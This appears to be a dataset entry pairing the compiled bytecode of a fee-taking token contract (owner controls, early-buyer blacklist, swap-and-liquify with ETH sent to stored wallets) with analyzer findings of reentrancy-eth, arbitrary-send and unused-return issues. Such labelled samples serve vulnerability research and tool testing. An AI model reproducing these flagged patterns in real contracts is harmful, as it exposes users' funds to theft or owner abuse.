d5b6012805473ffffffffffffffffffffffffffffffffffffffff9485167fffffffffffffffffffffffff000000000000000000000000000000000000000091821617909155601480549385169382169390931790925560138054919093169116179055565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260076020908152604080832093909416825291909152205490565b61186833610f24565b6118d357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b601a80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001683151517905560035461190c90826124ea565b601b555050565b60135473ffffffffffffffffffffffffffffffffffffffff1681565b61193833610f24565b6119a357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff16600090815260016020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b6000436018546005011115611a1357601154611a0c9060016124a8565b9050610f43565b8115611a225750601054610f43565b5050600f5490565b611a3333610f24565b611a9e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831690811782558082526001602081815260409384902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b60165473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff1660009081526001602052604090205460ff1690565b601854151590565b60008282018381101561144b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008184841115611cbb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c80578181015183820152602001611c68565b50505050905090810190601f168015611cad5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600a602052604081205460ff1615611cf657600080fd5b611cfe61252c565b15611d0b57611d0b612061565b611d13611b96565b158015611d3a575060175473ffffffffffffffffffffffffffffffffffffffff8481169116145b15611d6e5773ffffffffffffffffffffffffffffffffffffffff8416600090815260066020526040902054611d6e57600080fd5b611d76611b96565b15611dc057600454821115611d8a57600080fd5b60055473ffffffffffffffffffffffffffffffffffffffff841660009081526006602052604090205483011115611dc057600080fd5b604080518082018252601481527f496e73756666696369656e742042616c616e636500000000000000000000000060208083019190915273ffffffffffffffffffffffffffffffffffffffff8716600090815260069091529190912054611e28918490611c12565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600660205260409020556018544360059091011115611eac5773ffffffffffffffffffffffffffffffffffffffff83166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790555b73ffffffffffffffffffffffffffffffffffffffff83166000908152600b60209081526040808320429055600890915281205460ff16611f0b57611eef8561258a565b611ef95782611f04565b611f048585856125b6565b9050611f0e565b50815b73ffffffffffffffffffffffffffffffffffffffff8416600090815260066020526040902054611f3e9082611b9e565b73ffffffffffffffffffffffffffffffffffffffff80861660008181526006602090815260408083209590955560155485517fdf38fc980000000000000000000000000000000000000000000000000000000081528b861660048201526024810188905260448101949094529451949093169363df38fc98936064808501949193918390030190829087803b158015611fd657600080fd5b505af1158015611fea573d6000803e3d6000fd5b505050506040513d602081101561200057600080fd5b505160408051828152905191925073ffffffffffffffffffffffffffffffffffffffff80871692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a3506001949350505050565b601c80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055600f54600c546000916120b7916002916120b19182906120ab306112a5565b90612687565b906124ea565b905060006120ce826120c8306112a5565b906124a8565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061210257fe5b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201015260025482519116908290600190811061213a57fe5b73ffffffffffffffffffffffffffffffffffffffff9283166020918202929092018101919091526016546040517f791ac94700000000000000000000000000000000000000000000000000000000815260048101868152600060248301819052306064840181905261016842016084850181905260a060448601908152895160a487015289514799979097169763791ac947978c9795968c9690939260c49091019187820191028083838b5b838110156121fe5781810151838201526020016121e6565b505050509050019650505050505050600060405180830381600087803b15801561222757600080fd5b505af115801561223b573d6000803e3d6000fd5b50505050600061225482476124a890919063ffffffff16565b9050600061227a6122716002600c546124ea90919063ffffffff16565b600f54906124a8565b9050600061229c60026120b1846120b1600c548861268790919063ffffffff16565b905060006122b9836120b1600e548761268790919063ffffffff16565b905060006122d6846120b1600d548861268790919063ffffffff16565b60135460405191925073ffffffffffffffffffffffffffffffffffffffff169082156108fc029083906000818181858888f1935050505015801561231e573d6000803e3d6000fd5b5060145460405173ffffffffffffffffffffffffffffffffffffffff9091169083156108fc029084906000818181858888f19350505050158015612366573d6000803e3d6000fd5b50881561247557601654601254604080517ff305d719000000000000000000000000000000000000000000000000000000008152306004820152602481018d9052600060448201819052606482015273ffffffffffffffffffffffffffffffffffffffff9283166084820152610168420160a48201529051919092169163f305d71991869160c48082019260609290919082900301818588803b15801561240c57600080fd5b505af1158015612420573d6000803e3d6000fd5b50505050506040513d606081101561243757600080fd5b505060408051848152602081018b905281517f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506929181900390910190a15b5050601c80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905550505050505050565b600061144b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c12565b600061144b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126fa565b60175460009073ffffffffffffffffffffffffffffffffffffffff16331480159061255a5750601c5460ff16155b80156125685750601a5460ff165b80156125855750601b543060009081526006602052604090205410155b905090565b73ffffffffffffffffffffffffffffffffffffffff1660009081526008602052604090205460ff161590565b60115460175460009182916125f591906120b1906125ee9073ffffffffffffffffffffffffffffffffffffffff8981169116146119ef565b8690612687565b306000908152600660205260409020549091506126129082611b9e565b306000818152600660209081526040918290209390935580518481529051919273ffffffffffffffffffffffffffffffffffffffff8916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a361267e83826124a8565b95945050505050565b60008261269657506000610d4c565b828202828482816126a357fe5b041461144b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061277a6021913960400191505060405180910390fd5b60008183612763576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315611c80578181015183820152602001611c68565b50600083858161276f57fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122085e53b826c0bb6466f87dcc7f00f7200fa276c95eafdaec3d18a8b56a8a2667764736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,999 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.